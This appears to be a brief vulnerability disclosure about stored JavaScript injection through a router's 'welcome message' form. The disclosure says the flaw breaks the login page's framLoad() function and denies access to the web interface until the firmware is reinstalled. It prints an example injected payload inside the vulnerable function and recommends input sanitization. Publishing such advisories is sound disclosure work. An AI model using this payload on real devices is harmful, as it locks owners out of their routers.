#Technical details:
Abusing the 'welcome message' form, an attacker can inject JavaScript code into a core function of the main login page.
The persistent javascript code injection in the framLoad() function bypass all the security checks and cause a Denial of Service disabling any access to the router web interface.
Access is restored with a new firmware installation.
Example of a working code:
//////// !WARNING! TEST AT YOUR OWN RISK ///////
var loginMsg loads input from the 'welcome message form'
...
function framLoad () {
  var status = '0';
  var count = '';
  var Retry = '';
  var period = '';  
  var loginMsg = '<DoS="javascript:alert('DoS coming!')">';  
  var LockTime;
  var waitTime;
  if ( advancedaccountsecurity == '0' ) {
    loginrandom = '0';
  }
...

#Remediation
The vulnerable form should sanitize input.
